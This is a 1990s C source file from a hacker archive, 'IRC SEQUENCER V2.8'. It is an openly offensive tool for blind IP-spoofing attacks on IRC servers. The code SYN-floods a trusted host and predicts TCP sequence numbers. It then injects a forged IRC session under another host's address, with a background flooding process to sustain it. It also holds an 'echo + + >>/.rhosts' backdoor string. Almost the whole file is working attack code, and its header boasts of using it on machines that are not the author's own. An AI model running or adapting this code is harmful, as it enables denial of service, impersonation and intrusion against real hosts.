home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / ircseq28.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  19KB  |  544 lines

  1.  /*  IRC SEQUENCER V2.8
  2.      The first version of irc just made a person choose a nick and join
  3.      a channel, which was pretty lame.  This version is actually interactive
  4.      to a point.  You can issue all the commands you can in normal irc,
  5.      you just can't read anything.  Its a they-see-you but you-dont-see
  6.      them client.  Anyways, this too needs the kernel modification to  
  7.      run.  Enjoy!
  8.      2.0-2.5 Update - In 2.0, if you spoofed as a host that was actually 
  9.      up, it would have the connection killed in 60 seconds, because it
  10.      would recover from the flood and RST the packets it gets.  I added
  11.      some code to flood the host in the background every 40 seconds, so
  12.      you can maintain a session.
  13.      2.5-2.6 Update - I wanted to use this proggy on machines that were
  14.      not my own. So, in phear that people would steal muh binaries I
  15.      added a quick little random challenge thing.  It is by no means
  16.      secure, anyone with access to a debugger, could figure out the
  17.      algorithm and write a passkey generator.  But it thwarts most
  18.      people from using my warez.
  19.      2.6-2.8 Update - Added in a much more reliable sequence number
  20.      prediction method, works almost all the time.  I also added in a
  21.      quick little parser thingy so you don't have to type irc raw
  22.      commands.
  23.      Oh btw..  I wrote this a long, long time ago, not planning on
  24.      anyone to see it.  It was written to be used, by me.  Not to be
  25.      viewed.  So yes, this coding sucks fucking shit, but it served
  26.      its purpose for me.  So if you don't like it then fuck you.
  27.      Oh yeah, this will only work with linux, fuck head.
  28.      Deathstar [SM] 1995                                             */
  29.    
  30. #include <sys/types.h>
  31. #include <sys/socket.h>
  32. #include <linux/errno.h>
  33. #include <netinet/in_systm.h>
  34. #include <netinet/in.h>
  35. #include <netinet/ip.h>
  36. #include <netinet/tcp.h>
  37. #include <netinet/ip_icmp.h>
  38. #include <linux/fcntl.h>
  39. #include <netdb.h>
  40. #include <stdio.h>
  41.  
  42. #define FAKE_HOST "31.3.3.3"
  43. #define NUM_HOSE 80
  44. #define NUM_TESTS 5
  45. #define SERV_TCP_PORT 5432
  46. #define QLEN 5
  47. #define PACKETSIZE ( sizeof(struct iphdr) + sizeof(struct tcphdr)  )
  48. #define offsetTCP  ( sizeof(struct iphdr) )
  49. #define offsetIP   ( sizeof( struct iphdr ) + sizeof(struct tcphdr) + 5 )
  50. #define offsetICMP ( sizeof( struct iphdr ) )
  51. #define offsetRIP  ( 0 )
  52. struct iphdr temp_ip;
  53. static int thecode;
  54. int againrun=0;
  55. int temp_socket=0;
  56. u_short cksum( u_short *, int ); 
  57. unsigned short tcp_check(struct tcphdr *th, int len,
  58.           unsigned long saddr, unsigned long daddr);
  59. void read_packet();
  60. int verify();
  61.  
  62. u_short cksum( u_short *buf, int nwords ) {
  63.         unsigned long sum;
  64.  
  65.         for ( sum = 0; nwords > 0; nwords -- )
  66.                 sum += *buf++;
  67.         sum = ( sum >> 16) + ( sum & 0xffff );
  68.         sum += ( sum >> 16 );
  69.         return ~sum ;
  70. }
  71.  
  72. void fill_sockhost(struct sockaddr_in *addr, char *hostname) {
  73. struct  sockaddr_in *address;
  74. struct  hostent     *host;
  75.  
  76.    address = (struct sockaddr_in *)addr;
  77.    (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  78.    address->sin_family = AF_INET;
  79.    address->sin_addr.s_addr = inet_addr(hostname);
  80.    if ( (int)address->sin_addr.s_addr == -1) {
  81.        host = gethostbyname(hostname);
  82.        if (host) {
  83.                 bcopy( host->h_addr, (char *)&address->sin_addr,
  84.                 host->h_length);
  85.        }
  86.        else {
  87.                 puts("Couldn't resolve address!!!");
  88.                 exit(-1);
  89.        }
  90.    }
  91. }
  92.  
  93. void fill_sockport(struct sockaddr_in * addr, u_short port) {
  94. addr->sin_port = htons(port);
  95. }
  96.  
  97. int get_socket(void) {
  98.     int sock = 0;
  99.     if ( !sock ) {
  100.         sock = socket( AF_INET, SOCK_RAW, 255 );
  101.         if ( sock == -1 ) { 
  102.             perror("Getting raw socket");
  103.             exit(-1);
  104.         }
  105.     }
  106.      printf("[Socket %i gotten]\n",sock); 
  107.      return((int)sock);
  108. }
  109.  
  110. void get_packet(char *packet) {
  111.     packet = (char *)malloc( PACKETSIZE );
  112.     if ( !packet ) {     
  113.         perror("Getting space for packet");
  114.         exit(-1);
  115.     }
  116.         printf("[Packet space malloced]\n");
  117. }
  118.  
  119.     
  120. void send_pack( struct sockaddr_in local, int fromport, 
  121.                   struct sockaddr_in remote, int toport, ulong sequence, 
  122.                   int sock, u_char theflag, ulong acknum, 
  123.                   char * packdata, int datalen ) {
  124.     char    *   packet;
  125.     int tempint;
  126.     if(datalen>0) datalen++;
  127.         packet = (char *)malloc( PACKETSIZE + datalen);
  128.         if ( !packet ) {
  129.                 perror("Getting space for packet");
  130.                 exit(-1);
  131.         }
  132.     tempint=toport;
  133.     toport=fromport;
  134.     fromport=tempint;
  135.     {
  136.        struct tcphdr * fake_tcp;
  137.        fake_tcp = ( struct tcphdr *)( packet + offsetTCP );
  138.        fake_tcp->th_dport = htons(fromport);
  139.        fake_tcp->th_sport = htons(toport);
  140.        fake_tcp->th_flags = theflag;
  141.        fake_tcp->th_seq     = htonl(sequence);
  142.        fake_tcp->th_ack     = htonl(acknum);
  143.        fake_tcp->th_off     = (sizeof(struct tcphdr))/4;
  144.        fake_tcp->th_win  = 2;
  145.      }
  146.      if (datalen>0) {
  147.        char *crap;
  148.        crap = ( char * ) ( packet + offsetTCP + sizeof(struct tcphdr) );
  149.        for(tempint=0;tempint<datalen-1;tempint++) {
  150.          *crap=*packdata;
  151.          *crap++;
  152.          *packdata++;
  153.        }
  154.        *crap='\r';
  155.     }
  156.     {
  157.        struct iphdr * real_ip;
  158.        real_ip = ( struct iphdr *)packet;
  159.        real_ip->version = 4;
  160.        real_ip->ihl = 5;
  161.        real_ip->tot_len = htons(PACKETSIZE+datalen);
  162.        real_ip->tos = 0;
  163.        real_ip->ttl = 64;
  164.        real_ip->protocol = 6;
  165.        real_ip->check = 0;
  166.        real_ip->id = 10786;
  167.        real_ip->frag_off = 0;
  168.        bcopy( (char *)&local.sin_addr, &real_ip->daddr, sizeof( real_ip->daddr ) );
  169.        bcopy( (char *)&remote.sin_addr,&real_ip->saddr, sizeof( real_ip->saddr ) );
  170.        temp_ip.saddr = htonl( ntohl(real_ip->daddr )); 
  171.        real_ip->daddr = htonl( ntohl(real_ip->saddr )); 
  172.        real_ip->saddr = temp_ip.saddr;
  173.        real_ip->check = cksum( (u_short  *)packet, sizeof( struct iphdr) >> 1 );
  174.        {
  175.        struct tcphdr *another_tcp;
  176.        another_tcp = ( struct tcphdr * )(packet + offsetTCP );
  177.        another_tcp->th_sum=0;
  178.        another_tcp->th_sum=tcp_check(another_tcp,sizeof(struct tcphdr)+datalen, 
  179.          real_ip->saddr, real_ip->daddr);
  180.     }
  181.     }
  182.     {
  183.        int result;
  184.        sock=(int)temp_socket;
  185.        result = sendto( sock, packet, PACKETSIZE+datalen, 0,
  186.             (struct sockaddr *)&remote, sizeof( remote ) );
  187.        if ( result != PACKETSIZE+datalen ) {
  188.             perror("sending packet" ); 
  189.        }
  190.     }
  191.     free(packet);
  192. }
  193.  
  194. void send_packet( struct sockaddr_in local, int fromport, 
  195.                   struct sockaddr_in remote, int toport, ulong sequence, 
  196.                   int sock, u_char theflag, ulong acknum, 
  197.                   char * packdata, int datalen ) {
  198.     int i;
  199.     for(i=0;i<10;i++) {
  200.     send_pack(local,fromport,remote,toport,sequence,sock,theflag,acknum       ,packdata,datalen);
  201.     usleep(10000);
  202.     }
  203. }
  204.  
  205. void hose_trusted( char * fromhost, struct sockaddr_in remote, ulong toport, ulong sequence[NUM_HOSE], ulong ports[NUM_HOSE], int socks[NUM_HOSE] , ulong fromport)
  206. {
  207.     int i=0;
  208.     u_long start_seq=4935835+getpid(); /* Make this anything you want */
  209.     u_long start_port=1100; /* Make this anything you want */
  210.     struct sockaddr_in     local; 
  211.     start_seq=start_seq/40;
  212.     fill_sockhost( (struct sockaddr *)&local, fromhost);
  213.     fill_sockport( (struct sockaddr *)&local, fromport);
  214.     /*fill_sockhost( (struct sockaddr *)&remote, tohost);
  215.     fill_sockport( (struct sockaddr *)&remote, toport);*/
  216.     fill_sockhost( (struct sockaddr *)&local, fromhost);
  217.     fill_sockport( (struct sockaddr *)&local,fromport);
  218.     for(i=0;i<NUM_HOSE;i++) {
  219.         socks[i]=(int)socks[0];
  220.         ports[i]=start_port++; /* record the ports and sequence numbers */
  221.         sequence[i]=start_seq++;   /* for later reseting */
  222.         fill_sockport( (struct sockaddr *)&local, ports[i]);
  223.         temp_socket=(int)socks[i];
  224.         send_pack(local, ports[i], remote, toport , sequence[i], (int)socks[i], TH_SYN,0,NULL,0 );
  225.         send_pack(local, ports[i], remote, 113,     sequence[i], (int)socks[i], TH_SYN,0,NULL,0 );
  226.     }
  227. }
  228.  
  229. void reset_trusted( char * fromhost, char * tohost, ulong toport, ulong sequence[NUM_HOSE], ulong ports[NUM_HOSE], int socks[NUM_HOSE] )
  230. {
  231.     int i=0;
  232.     u_long start_seq=4935835+getpid(); /* Make this anything you want */
  233.         u_long start_port=1100; /* Make this anything you want */
  234.         struct sockaddr_in      local, remote;
  235.     start_seq=start_seq/40;
  236.     fill_sockhost( (struct sockaddr *)&local, fromhost);
  237.     fill_sockport( (struct sockaddr *)&local, 513);
  238.     fill_sockhost( (struct sockaddr *)&remote, tohost);
  239.     fill_sockport( (struct sockaddr *)&remote, toport);
  240.     fill_sockhost( (struct sockaddr *)&local, fromhost);
  241.     fill_sockport( (struct sockaddr *)&local,513);
  242.     for(i=0;i<NUM_HOSE;i++) {
  243.         printf("[Sending RST %i]\n",i);
  244.         socks[i]=(int)socks[0];
  245.         ports[i]=start_port++; /* record the ports and sequence numbers */
  246.         fill_sockport( (struct sockaddr *)&local, ports[i]);
  247.         printf("[socket=%i port=%i local=%s remote=%s]\n",socks[i],ports[i],fromhost,tohost);
  248.         temp_socket=(int)socks[i];
  249.         send_pack(local, toport, remote, ports[i], sequence[i], (int)socks[i], TH_RST,0,NULL,0);
  250.     }
  251.     close(socks[0]);
  252.  
  253. }
  254. void get_text(char *intext, char *outtext) {
  255.     int i;
  256.     for(i=2;i<strlen(intext);i++) outtext[i-3]=intext[i];
  257.     outtext[strlen(intext)-3]='\0';
  258. }
  259.  
  260. int spoof_connection(struct sockaddr_in local, struct sockaddr_in remote, ulong fromport, ulong sequence, 
  261.                       ulong offset, int sock,char *username, char *nickname, char *channel,int socks[NUM_HOSE] ) {
  262.     char *string="0\0root\0root\0echo + + >>/.rhosts\0";
  263.     char *ostring,*istring;
  264.         char *tmpshit;
  265.     int stringlen=32;
  266.     int doit=1;
  267.     u_long seq=385773357;
  268.     u_long seqs[NUM_HOSE], ports[NUM_HOSE];
  269.     u_long tmpseq=0;
  270.     sock=(int)get_socket();
  271.     string=(char *)malloc(300);
  272.     ostring=(char *)malloc(300);
  273.     istring=(char *)malloc(300);
  274.     printf("[Sending spoofed SYN]\n");
  275.     send_packet(local, fromport, remote, 6667, seq++, sock, TH_SYN,0,NULL,0 );
  276.     sleep(3); /* wait for the other side to SYN,ACK */
  277.     printf("[Sending predicted SYN/ACK]\n");
  278.     send_packet(local, fromport, remote,6667, seq, sock, TH_ACK,++sequence,NULL,0 );
  279.     sleep(2);
  280.     printf("%u=seq %u=ack\n",seq,sequence);
  281.     printf("[Spoofing irc connection as nick %s on channel #%s]\n",nickname,channel);
  282.     sprintf(string,"USER %s . . :%s\nNICK %s\nJOIN #%s\n",username,username,nickname,channel);
  283.     stringlen=strlen(string);
  284.     send_packet(local, fromport, remote,6667, seq, sock,TH_ACK| TH_PUSH,sequence,string,stringlen);
  285.     seq+=strlen(string)+1;
  286.     if(againrun==0)  {
  287.     switch (fork()) {
  288.       case 0:
  289.         while(1) {
  290.          sleep(20);
  291.          hose_trusted(FAKE_HOST,local,23,seqs,ports,socks,1000); }
  292.         break;
  293.  
  294.       case -1:
  295.         printf("[Error spawning background flooding process!]\n");
  296.         exit(-1);
  297.         break;
  298.     } }
  299.     while((strcmp(string,"/quit"))&&(strcmp(string,"/again"))) {
  300.       gets(string);
  301.       if(!(string[0]=='/')) {
  302.         sprintf(ostring,"PRIVMSG #%s :%s\n",channel,string);
  303.         printf("> %s\n",string); }
  304.       else {
  305.         get_text(string,istring);
  306.         if (string[1]=='r') {
  307.             printf("RAW: %s\n",istring);
  308.             sprintf(ostring,"%s\n",istring); }
  309.         if (string[1]=='j') {
  310.             printf("*** You are joining %s\n",istring);
  311.             sprintf(ostring,"JOIN %s\n",istring);
  312.             strcpy(channel,istring); }
  313.         if (string[1]=='m') {
  314.             printf("-> %s\n",istring);
  315.             sprintf(ostring,"PRIVMSG %s\n",istring); }
  316.         else if(string[1]=='n') {
  317.             printf("*** %s is now known as %s\n",nickname,istring);
  318.             sprintf(ostring,"NICK %s\n",istring);
  319.             strcpy(nickname,istring); }
  320.         else if(string[1]=='k') {
  321.             printf("*** %s\n",istring);
  322.             sprintf(ostring,"KICK %s\n",istring); }
  323.         else if(string[1]=='t') {
  324.             printf("*** %s has changed the topic on %s to %s\n",nickname,channel,istring);
  325.             sprintf(ostring,"TOPIC #%s :%s\n",channel,istring); }
  326.         else sprintf(ostring,"%s\n",istring);
  327.       }
  328.       stringlen=strlen(ostring);
  329.       send_packet(local, fromport, remote,6667, seq, sock,TH_ACK| TH_PUSH,sequence,ostring,stringlen);
  330.       seq+=stringlen+1;
  331.     }
  332.     if(!strcmp(string,"/quit")) doit=0;
  333.     if(!strcmp(string,"/again")) againrun=1;
  334.     printf("[Closing connection]\n");
  335.     send_packet(local, fromport, remote, 6667, seq, sock, TH_RST,sequence,NULL,0 );
  336.     return(doit);
  337. }
  338.  
  339. void get_sequence(char * tohost, char * fromhost, ulong toport, ulong *next_seq, ulong *offset,int sock, 
  340.     struct sockaddr_in * trusted, struct sockaddr_in * target, char *trustedhost, 
  341.     ulong trustedport )  {
  342.     int i;
  343.     u_long start_seq=4138353+getpid(); 
  344.     u_long start_port=1234;
  345.     u_long my_addr;
  346.     char *buf;
  347.     struct hostent *he;
  348.     struct iphdr *iph;
  349.     struct tcphdr * tcph;
  350.     u_long prev_seq=0, diff=0,curr_seq;
  351.     int sd=0;
  352.     int socks[NUM_TESTS],ports[NUM_TESTS];
  353.     u_long seq[NUM_TESTS];
  354.     struct sockaddr_in   local,remote;
  355.     struct sockaddr whereto;
  356.     int wheretolen,length;
  357.     char * flake;
  358.     int remotelen=0;
  359.     *offset=0;
  360.     fill_sockhost( (struct sockaddr *)&local, fromhost);
  361.     fill_sockhost( (struct sockaddr *)&remote, tohost);
  362.     fill_sockport( (struct sockaddr *)&remote, toport);
  363.     fill_sockport( (struct sockaddr *)&local, 600);
  364.     fill_sockhost( (struct sockaddr *)trusted, trustedhost);
  365.     fill_sockport( (struct sockaddr *)trusted, trustedport);
  366.     fill_sockhost( (struct sockaddr *)target, tohost);
  367.     fill_sockport( (struct sockaddr *)target, toport);
  368.     flake=(char *)malloc(4500);        
  369.     if ((sd=socket(AF_INET, SOCK_RAW, 6))<0) perror("socket");
  370.     printf("[Listening Socket %i Activated]\n",sd);
  371.     socks[0]=sock;
  372.     printf("[Sending Socket %i Activated]\n",socks[0]);
  373.     for (i=0;i<NUM_TESTS;i++) {
  374.     printf("[Test %i Started]\n",i);
  375.     ports[i]=start_port;
  376.     socks[i]=(int)socks[0];
  377.     seq[i]=start_seq++;
  378.     printf("[port=%i socket=%i seq=%u local=%s remote=%s]\n",ports[i],socks[i],start_seq,fromhost,tohost);
  379.     send_pack(local, ports[i], remote, 23, seq[i], (int)socks[i], TH_SYN,0,NULL,0);
  380.     remotelen=sizeof(whereto);
  381.     for(;;) {
  382.      length=recvfrom(sd,flake,4096,0,&whereto,&remotelen); 
  383.      if(length<0) {
  384.       perror("test");
  385.       exit(0); }
  386.      tcph = ( struct tcphdr *)( flake + offsetTCP );
  387.      printf("[seq=%u ack=%u]\n",seq[i],ntohl(tcph->th_ack));
  388.      if (ntohs(tcph->th_dport)==start_port && ntohs(tcph->th_sport)==23 
  389.          && (ntohl(tcph->th_ack)-1)==seq[i]) {
  390.         curr_seq=ntohl(tcph->th_seq);
  391.         if (prev_seq) {
  392.           diff=curr_seq-prev_seq;
  393.           printf("(sequence #=%u\n",curr_seq);
  394.         } else
  395.         diff=0;
  396.         if (*offset==0) *offset=diff;
  397.         else {
  398.           if (*offset!=diff)
  399.             printf("New Sequence Offset=%u\n", diff);
  400.           *offset=diff;
  401.         }
  402.         prev_seq=ntohl(tcph->th_seq);
  403.         *next_seq=prev_seq+*offset;
  404.         tcph->th_seq=0;
  405.         break;
  406.       }
  407.     }
  408.     }
  409. }
  410.  
  411. main( int argc, char ** argv ) { 
  412.     int i,codes,doit=1;
  413.     ulong seqs[NUM_HOSE];
  414.     ulong ports[NUM_HOSE];
  415.     char *fakehost,*hosta,*hostb,*hostc;
  416.     struct sockaddr_in trusted,target,llocal;
  417.     ulong sequen=0,offset=0;
  418.     int tempsock=0;
  419.     int socks[NUM_HOSE];
  420.     if ( argc < 7 ) { 
  421.         puts("IRC SEQUENCER V2.8 - Written by Deathstar\n");
  422.         puts("usage:<fromhost><ircserver><unreachhost><yourhost><username><nickname><channel>" );
  423.         exit(-1);
  424.     }
  425.     /*if(!(verify()==0)) {
  426.         printf("Permission denied.\n");
  427.         exit(1); }
  428.     printf("Access granted.\n");*/
  429.     if ( argc > 3 ) fakehost=argv[3];
  430.     else fakehost=FAKE_HOST;
  431.     if ( argc > 4 ) hostc=argv[4];
  432.     else hostc="33.33.33.33";
  433.     fill_sockhost( (struct sockaddr *)&llocal, argv[1]);
  434.     fill_sockport( (struct sockaddr *)&llocal, 23);
  435.     socks[0]=(int)get_socket();
  436.     printf("[Flooding real host]\n");
  437.     hose_trusted(fakehost,llocal,23,seqs,ports,socks,1000);
  438.     tempsock=socks[0];
  439.     while(doit>0) {
  440.     printf("[tempsock=%i]\n",tempsock);
  441.     printf("[Getting Sequence Numbers]\n");
  442.     get_sequence(argv[2],hostc,513,&sequen,&offset,socks[0],&trusted,&target, 
  443.                  argv[1],514 );
  444.     offset=0;
  445.     doit=spoof_connection(trusted,target,23,sequen,offset,tempsock,argv[5],argv[6],argv[7], 
  446.                      socks );
  447.     }
  448.     printf("[Resetting remote host]\n");
  449.     socks[0]=tempsock;
  450.     reset_trusted(fakehost,argv[1],23,seqs,ports,socks);
  451. }
  452.  
  453. unsigned short tcp_check(struct tcphdr *th, int len,
  454.       unsigned long saddr, unsigned long daddr)
  455. {     
  456.     unsigned long sum;
  457.     __asm__("\taddl %%ecx, %%ebx\n\t"
  458.         "adcl %%edx, %%ebx\n\t"
  459.         "adcl $0, %%ebx"
  460.     : "=b"(sum)
  461.     : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
  462.     : "bx", "cx", "dx" );
  463.     __asm__("\tmovl %%ecx, %%edx\n\t"
  464.         "cld\n\t"
  465.         "cmpl $32, %%ecx\n\t"
  466.         "jb 2f\n\t"
  467.         "shrl $5, %%ecx\n\t"
  468.         "clc\n"
  469.             "1:\t"
  470.         "lodsl\n\t"
  471.         "adcl %%eax, %%ebx\n\t"
  472.         "lodsl\n\t"
  473.         "adcl %%eax, %%ebx\n\t"
  474.         "lodsl\n\t"
  475.         "adcl %%eax, %%ebx\n\t"
  476.         "lodsl\n\t"
  477.         "adcl %%eax, %%ebx\n\t"
  478.         "lodsl\n\t"
  479.         "adcl %%eax, %%ebx\n\t"
  480.         "lodsl\n\t"
  481.         "adcl %%eax, %%ebx\n\t"
  482.         "lodsl\n\t"
  483.         "adcl %%eax, %%ebx\n\t"
  484.         "lodsl\n\t"
  485.         "adcl %%eax, %%ebx\n\t"
  486.         "loop 1b\n\t"
  487.         "adcl $0, %%ebx\n\t"
  488.         "movl %%edx, %%ecx\n"
  489.             "2:\t"
  490.         "andl $28, %%ecx\n\t"
  491.         "je 4f\n\t"
  492.         "shrl $2, %%ecx\n\t"
  493.         "clc\n"
  494.             "3:\t"
  495.         "lodsl\n\t"
  496.         "adcl %%eax, %%ebx\n\t"
  497.         "loop 3b\n\t"
  498.         "adcl $0, %%ebx\n"
  499.             "4:\t"
  500.         "movl $0, %%eax\n\t"
  501.         "testw $2, %%dx\n\t"
  502.         "je 5f\n\t"
  503.         "lodsw\n\t"
  504.         "addl %%eax, %%ebx\n\t"
  505.         "adcl $0, %%ebx\n\t"
  506.         "movw $0, %%ax\n"
  507.             "5:\t"
  508.         "test $1, %%edx\n\t"
  509.         "je 6f\n\t"
  510.         "lodsb\n\t"
  511.         "addl %%eax, %%ebx\n\t"
  512.         "adcl $0, %%ebx\n"
  513.             "6:\t"
  514.         "movl %%ebx, %%eax\n\t"
  515.         "shrl $16, %%eax\n\t"
  516.         "addw %%ax, %%bx\n\t"
  517.         "adcw $0, %%bx"
  518.     : "=b"(sum)
  519.     : "0"(sum), "c"(len), "S"(th)
  520.     : "ax", "bx", "cx", "dx", "si" );
  521.       return((~sum) & 0xffff);
  522. }
  523.  
  524. int verify() {
  525.     unsigned long s1 = 5492,s2=1922,s3=8095;
  526.     unsigned long seed=0;
  527.     unsigned long randomnum;
  528.     unsigned long response;
  529.     srand((unsigned)time(NULL));
  530.     randomnum = (random()+1000)*1000+10000000+random()+(random()*500);
  531.     seed = random();
  532.     if      (seed<10000) randomnum=randomnum/2;
  533.     else if (seed>10000) randomnum=randomnum*2;
  534.     if(randomnum<10000000) seed=s1;
  535.     else if(randomnum>15000000) seed=s2;
  536.     else seed=s3;
  537.     printf("Random Challenge: %ld\n",randomnum);
  538.     printf("Enter response: ");
  539.     scanf("%ld",&response);
  540.     if(!(response==((randomnum/(seed/3)*6)+seed*2)+(randomnum/30))) return(1);
  541.     else return(0);
  542. }
  543.  
  544.